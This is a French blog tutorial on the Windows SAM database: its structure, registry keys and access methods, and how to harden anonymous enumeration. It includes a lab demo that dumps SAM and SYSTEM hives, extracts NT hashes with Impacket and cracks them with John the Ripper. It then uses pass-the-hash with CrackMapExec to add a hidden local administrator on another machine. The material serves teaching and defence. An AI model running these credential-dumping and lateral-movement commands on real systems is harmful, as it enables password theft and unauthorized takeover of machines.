A la découverte de la base SAM de Windows – Importance, structure, compromission
Sommaire
I. Présentation
Dans cet article, nous allons nous intéresser à la base SAM de Windows puisqu'il s'agit d'un composant clé associé à la gestion des identités sur le système d'exploitation de Microsoft. S'il vous est arrivé de vous demander où étaient stockés les comptes utilisateurs et les groupes locaux d'une machine Windows, ainsi que les mots de passe, sachez que la réponse se situe dans la base SAM !
II. Qu'est-ce que la base SAM ?
A. Définition et objectif
SAM pour Security Account Manager est un composant présent sur chaque machine Windows ou Windows Server qui se présente sous la forme d'une base de données qui contient les objets de sécurité de Windows, notamment les utilisateurs et les groupes locaux. Cette base est sensible puisqu'au-delà de contenir le nom des utilisateurs, elle contient aussi les mots de passe des utilisateurs (pour des raisons de sécurité, le hash (ou condensat) est stocké) ! Il est important de comprendre que chaque machine (ordinateur ou serveur) a sa propre base SAM !
Au démarrage de l'ordinateur, la base SAM est exécutée en arrière-plan et lorsque l'on ouvre une session sur une machine avec un compte local, c'est la base SAM qui est sollicité par le processus LSA (lsass.exe) en charge de vérifier si les informations saisies correspondent à celles stockées dans la base SAM.
Même si une machine est intégrée à un domaine Active Directory, elle conserve sa base SAM en local. Ce qui permet de se connecter à la machine avec un compte local ou avec un compte du domaine Active Directory (ou un compte Microsoft, d'ailleurs).
Note : sur un contrôleur de domaine Active Directory, la base SAM ne contient pas les informations d'authentification des utilisateurs et des groupes locaux. Ces informations sont stockées directement dans la base d'annuaire Active Directory représentée par le fichier NTDS.dit.
B. Où est stockée la base SAM ?
La base SAM est représentée par le fichier "%SystemRoot%\system32\config\SAM" (généralement dans "C:\Windows\") qui est en fait un fichier associé à la base de Registre Windows : HKEY_LOCAL_MACHINE\SAM\.
III. La structure de la base SAM
La base SAM est constituée de deux domaines.
Il y a un premier domaine nommé "Account" dans la base SAM qui contient les utilisateurs et groupes locaux propres à la machine. En pratique, ce domaine utilise comme nom le nom d'hôte de Windows. Les utilisateurs sont stockés sous "Users" et les groupes sous "Aliases" (alias) ! Contrairement à ce que l'on pourrait penser, ils ne sont pas stockés sous "Groups".
Il y a un second domaine nommé "Builtin" qui contient les groupes intégrés à Windows. Par exemple, le domaine "Builtin" contiendra le groupe "Administrateurs" permettant d'accorder les privilèges d'administrateur sur une machine Windows. C'est pour cette raison que l'on peut voir l'écriture suivante : "BUILTIN\Administrateurs". Historiquement, l'ensemble de ces groupes sont stockés sous "Aliases" (alias) dans le domaine Builtin.
Comme le montre l'image ci-dessous, les utilisateurs locaux d'une machine Windows sont stockés dans le domaine "Account" de la base SAM. Nous retrouvons les comptes natifs sur un système Windows (comme Administrateur et Invité), ainsi que les comptes créés par l'utilisateur. Ici, nous pouvons remarquer la présence de l'utilisateur "Florian".
Sous "Names", la clé de Registre correspondante à chaque compte est vide ! En fait, il faut se référer aux clés de Registre du niveau supérieur : 000001F4, 000001F5, 000001F7, etc... jusqu'à 000003E9 pour avoir accès à des informations sensibles sur les comptes.
Pour le nom de ces clés de Registre, Windows utilise des valeurs hexadécimales que l'on peut convertir en décimales. Ainsi :
- 000001F4 devient 500
- ....
- 000003E9 devient 1001
Et donc ?
Sur Windows, chaque utilisateur et chaque groupe sont associés à un SID (Security Identifier), c'est-à-dire un identificateur de sécurité, qui est unique pour chaque objet de la machine (l'Active Directory adopte ce même principe pour les objets de la base d'annuaire). La structure et l'analyse des SID pourra faire l'objet d'un autre article.
Sur une machine Windows, nous savons que le SID du compte Administrateur termine toujours par 500 (suffixe commun). Cette partie du SID s'appelle le RID (Relative Identifier) de l'utilisateur.
Par exemple :
S-1-5-21-1660400566-1867812361-5792324776-500
Vous pouvez le vérifier sur votre machine en exécutant la commande PowerShell suivante (bien que d'autres méthodes existes) :
Get-CimInstance win32_useraccount | Format-Table domain,name,sid
Ceci permet d'affirmer que la clé de Registre 000001F4 contient les informations du compte Administrateur. Ce sera le cas sur toutes les machines Windows.
Quant à la clé de Registre 000003E9 (soit 1001 en décimal), elle correspond à l'utilisateur "Florian" puisque le SID de ce compte utilisateur se termine par 1001 :
S-1-5-21-1660400566-1867812361-5792324776-1001
À chaque fois, pour chaque compte, il y a plusieurs valeurs. Parmi elles, il y a les valeurs V et F dont le nom n'est pas très évocateur, mais qui contiennent des informations sur l'état du compte. Les données de la valeur V permettent d'obtenir le nom d'utilisateur, la description, le hash du mot de passe, l'état du compte (activé/désactivé), etc... Tandis que la valeur F contient des informations différentes comme la date et l'heure de la dernière connexion.
Remarque : vous pouvez tomber sur certains tutoriels où l'on vous demande de modifier directement les données de la valeur V pour agir sur l'état d'un compte. Par exemple, pour activer le compte Administrateur s'il est désactivé.
Désormais, vous en savez un peu plus sur la structure et le fonctionnement de la base SAM !
IV. Accès à la base SAM
A. Accéder à la base SAM avec regedit.exe
Pour visualiser la base SAM dans le Registre Windows, il est obligatoire d'ouvrir l'éditeur de Registre (regedit.exe) en tant que SYSTEM, qui est le niveau de permissions le plus élevé sur Windows. Autrement dit, vous ne pourrez pas voir son contenu même en ouvrant regedit.exe en tant qu'administrateur.
Pour élever ses privilèges en tant que SYSTEM, vous pouvez utiliser le célèbre outil PsExec !
Ainsi, la commande ci-dessous permet d'ouvrir regedit.exe en tant que SYSTEM et accéder à la base SAM. Le fait d'ouvrir regedit.exe en tant que SYSTEM permet aussi d'accéder à d'autres parties du Registre comme "HKEY_LOCAL_MACHINE\SECURITY" où l'on peut retrouver les identifiants mis en cache.
psexec.exe -i -s regedit.exe
Une fois que regedit.exe est ouvert, vous n'avez plus qu'à parcourir le Registre Windows jusqu'à la base SAM :
HKEY_LOCAL_MACHINE\SAM\SAM
Vous pourrez alors visualiser la structure évoquée dans cet article.
B. Peut-on consulter la base SAM en tant qu'anonyme ?
Historiquement, sur les versions de Windows obsolètes, la base SAM était accessible de manière anonyme ! Cela signifie qu'il était possible d'énumérer le contenu de la base SAM afin d'identifier les comptes avec des privilèges élevés et de les cibler dans une attaque.
Fort heureusement, Microsoft a changé la donne en activant par défaut le paramètre de stratégie "Accès réseau : ne pas autoriser l'énumération anonyme des comptes SAM". Ce paramètre que vous pouvez retrouver à l'emplacement indiqué ci-dessous, peut être configuré via la stratégie de groupe locale d'une machine ou avec une stratégie de groupe Active Directory.
Configuration ordinateur > Paramètres Windows > Paramètres de sécurité > Options de sécurité
À cet emplacement, vous pourrez retrouver également d'autres paramètres. Voici les valeurs recommandées pour renforcer la sécurité :
- "Accès réseau : ne pas autoriser l'énumération anonymes des comptes SAM" : sur l'état activé (valeur par défaut)
- "Accès réseau : ne pas autoriser l'énumération anonymes des comptes et partages SAM" : sur l'état activé
- "Accès réseau : Permet la traduction de noms/SID anonymes" : sur l'état désactivé (valeur par défaut)
À ce sujet, vous pouvez consulter la documentation Microsoft pour avoir des détails supplémentaires.
Remarque : sur un contrôleur de domaine Active Directory, ce sont les permissions de l'annuaire qui détermine si l'accès anonyme est autorisé ou non.
Sur une machine où l'accès anonyme serait autorisé, la base SAM peut être interrogée à distance avec un outil comme NMAP. En effet, l'outil NMAP (inclus nativement dans Kali Linux) intègre un script nommé "smb-enum-users" capable d'énumérer la liste des utilisateurs d'une machine Windows. Cette commande s'utilise de cette façon :
nmap -p139,445 --script smb-enum-users <Adresse IP de la cible>
Sur les systèmes d'exploitation récents, tels que Windows 10 ou Windows 11 ou Windows Server, vous pourrez constater que cette commande "ne fonctionne pas", car les accès anonymes sont bloqués. Si vous parvenez à lister les comptes utilisateurs, c'est qu'il y a eu une modification de la politique de sécurité de la machine.
V. Compromission de la base SAM
La base SAM est vulnérable à différentes techniques d'attaques, même s'il faut des privilèges élevés pour accéder à son contenu. Pour cette démonstration, nous allons effectuer les actions suivantes :
- Exporter la base SAM d'une machine Windows 11
- Extraire tous les hash NT de la base SAM
- Effectuer une attaque par dictionnaire pour tenter de deviner les mots de passe des comptes utilisateurs
- Réutiliser le hash NT de la base SAM via la technique Pass the hash, vers une autre machine sous Windows 10
Les premières manipulations seront effectuées à partir de la machine Windows 11, tandis que la suite sera effectuée à partir d'une autre machine Kali Linux.
A. Exporter la base SAM
Sur une machine Windows sur laquelle nous disposons des droits Administrateurs, il existe différentes méthodes pour élever ses privilèges afin d'extraire ou lire le contenu de la base SAM. On peut citer Mimikatz ainsi que CrackMapExec (à distance). À cela s'ajoute PsExec qui pourra nous permettre d'exporter la base SAM (via un export du Registre) afin de travailler sur ce fichier en mode hors ligne.
Pour un attaquant, il y a plusieurs techniques à tenter afin d'obtenir les droits administrateur sur une machine. Il peut s'agir de l'exploitation d'une vulnérabilité dans une application ou le système d'exploitation, ou la compromission d'un compte utilisateur qui est - malheureusement - administrateur de sa machine.
Nous allons voir comment exporter la base SAM sur Windows 11 (ou une autre version).
À partir de PsExec, nous pouvons ouvrir une Invite de commandes en tant que SYSTEM avec la commande suivante :
psexec.exe -i -s cmd.exe
Dans cette nouvelle console, nous allons commencer par exporter la partie du Registre "HKEY_LOCAL_MACHINE\SAM", comme ceci :
reg save hklm\sam c:\tool\sam
Puis, la partie "HKEY_LOCAL_MACHINE\SYSTEM" afin de pouvoir récupérer les hash des mots de passe avec un autre outil :
reg save hklm\system c:\tool\system
Une fois que l'on a ces deux fichiers, il faut travailler dessus avec un autre outil. Les deux fichiers sont copiés vers la machine Kali Linux.
Remarque : ici, l'export de la base SAM est effectué sur une installation en ligne de Windows. C'est également possible sur une installation hors ligne, d'où l'intérêt de chiffrer les disques de sa machine avec BitLocker.
B. Extraire tous les hash de la base SAM
Là encore, nous pouvons utiliser différents outils... Dont Impacket qui est inclus à Kali Linux.
Nous allons nous positionner dans le répertoire où sont stockés les fichiers "sam" et "system" :
cd /home/kali/Documents
Puis, avec Impacket nous allons extraire les hash de la base SAM :
impacket-secretsdump -system system -sam sam local
Ce qui donne une sortie avec le nom des comptes (UID), le RID associé, le LM Hash et le NT Hash.
C. Attaque brute force sur la base SAM
Maintenant que nous disposons de la liste des "NT hash" (associé au protocole NTLM) stockés dans la base SAM, nous allons pouvoir réaliser une attaque par brute force dans le but de compromettre les mots de passe.
Notre ami John The Ripper, spécialiste du craquage de mots de passe et disponible sur Kali Linux, va pouvoir nous aider !
Nous avons besoin de deux fichiers :
- Un fichier dictionnaire qui contient une liste de mots de passe à tester, ici ce sera "dictionnaire.txt" avec quelques mots de passe :
- Un fichier avec les hash à craquer, ici ce sera "hash.txt" et il aura le contenu suivant :
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:2b391dfc6690cc38547d74b8bd8a5b49::: Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e06c5c2faf99e54d79ffe49a56f75b18::: Florian:1001:aad3b435b51404eeaad3b435b51404ee:d69bd228bf431ea6b2b1069875fe9a00:::
Puis, nous allons appeler ces deux fichiers avec John The Ripper, en lui précisant le format des hash via "--format=NT" :
john --wordlist=dictionnaire.txt --format=NT hash.txt
Quelques secondes plus tard, John m'indique qu'il est parvenu à trouver deux mots de passe ! Il s'agit des mots de passe pour les comptes Administrateur et Florian !
Les résultats de cette analyse sont mis en cache dans le fichier "~/.john/john.pot" qu'il faudra supprimer si vous souhaitez relancer l'opération depuis le début.
Pour visualiser les résultats à tout moment, exécutez cette commande :
john --show --format=nt hash.txt
Voilà, nous venons de craquer le mot de passe Administrateur de la machine Windows 11 à partir du contenu de la base SAM !
D. Utilisation de la technique Pass the hash
Au sein d'un parc informatique, l'administrateur système crée ce que l'on appelle un master afin d'avoir une image de référence à déployer sur l'ensemble des ordinateurs de l'entreprise. Ceci permet d'avoir une installation homogène et le même socle : même système d'exploitation et mêmes applications (ce qui n'empêche pas de gérer le cas par cas).
Au sein de chaque machine, nous aurons donc une base SAM locale, avec un compte Administrateur ! Le mot de passe de ce compte Administrateur est susceptible d'être le même sur tous les postes basés sur ce master puisque l'image est, en quelque sorte, dupliquée ! Si c'est le cas, cela veut dire que le hash NT du compte Administrateur est le même sur tous les ordinateurs.
Sans avoir besoin de craquer le mot de passe comme nous l'avons fait précédemment, le simple fait de disposer du hash NT permet de se connecter à une autre machine qui accepte l'authentification NTLM. Puisqu'il s'agit du hash NT d'un compte Administrateur, ceci ouvre la porte à de nombreuses possibilités...!
Par exemple, avec CrackMapExec nous avons seulement besoin de préciser l'adresse IP de la machine cible, le nom de l'utilisateur, son hash NT et choisir une action à exécuter !
La première commande liste les partages de la machine distante :
crackmapexec smb 192.168.14.134 -d . -u Administrateur -H 2b391dfc6690cc38547d74b8bd8a5b49 --shares
Puis, avec les deux commandes ci-dessous, nous pouvons créer un compte Administrateur local sur la machine Windows 10, avec notre propre nom d'utilisateur et le mot de passe de notre choix !
crackmapexec smb 192.168.14.134 -d . -u Administrateur -H 2b391dfc6690cc38547d74b8bd8a5b49 -x "net user adminflo P@ssword /add" crackmapexec smb 192.168.14.134 -d . -u Administrateur -H 2b391dfc6690cc38547d74b8bd8a5b49 -x "net localgroup Administrateurs adminflo /add"
Ainsi, à partir de la base SAM d'une première machine, nous sommes parvenus à agir sur une autre machine grâce à la technique "Pass the hash" ! Ceci est possible, car le compte Administrateur a le même mot de passe sur les deux machines. Ici, il s'agit d'un exemple avec des comptes locaux, mais il y a aussi des possibilités en environnement Active Directory.
Même si bien sûr vous pouvez continuer à utiliser une image de type "master" pour déployer vos machines, vous n'avez plus le droit d'utiliser le même mot de passe Administrateur sur toutes ces machines ! La bonne nouvelle, c'est qu'il existe un outil gratuit qui répond à ce besoin : Windows LAPS !
VI. Conclusion
Suite à la lecture de cet article, vous en savez beaucoup plus sur la base SAM : son importance au sein de Windows, sa structure, et vous avez une idée des risques associés ! Désormais, si ce n'est pas déjà fait, vous pouvez vous pencher sur la mise en œuvre de BitLocker et de Windows LAPS pour améliorer la sécurité de vos postes de travail.
Merci pour cet article !
Simple question : dans la note sur BitLocker, il est question d' »installation en ligne/hors ligne ».
À quoi fais-tu référence ?
Merci !
Hello Quentin,
Avec le mode en ligne, j’entends une machine démarrée sous Windows sur laquelle nous effectuons nos manipulations, comme dans cette démo. En hors ligne, c’est que l’on accède aux données du disque Windows à partir d’un « live CD » ou en mettant le disque dans une autre machine, donc Windows n’est pas actif.
Merci beaucoup pour cette précision !
Merci beaucoup Florian! Avec ton article j’ai fini de comprendre quelques trucs sur tout ça qu’on a aussi appris à l’école l’année dernière mais certaines choses n’étaient pas claires pour moi.
Super article, merci beaucoup pour ces informations qui m’ont permises d’avancer dans mon apprentissage !
Top, merci pour ton retour ! 🙂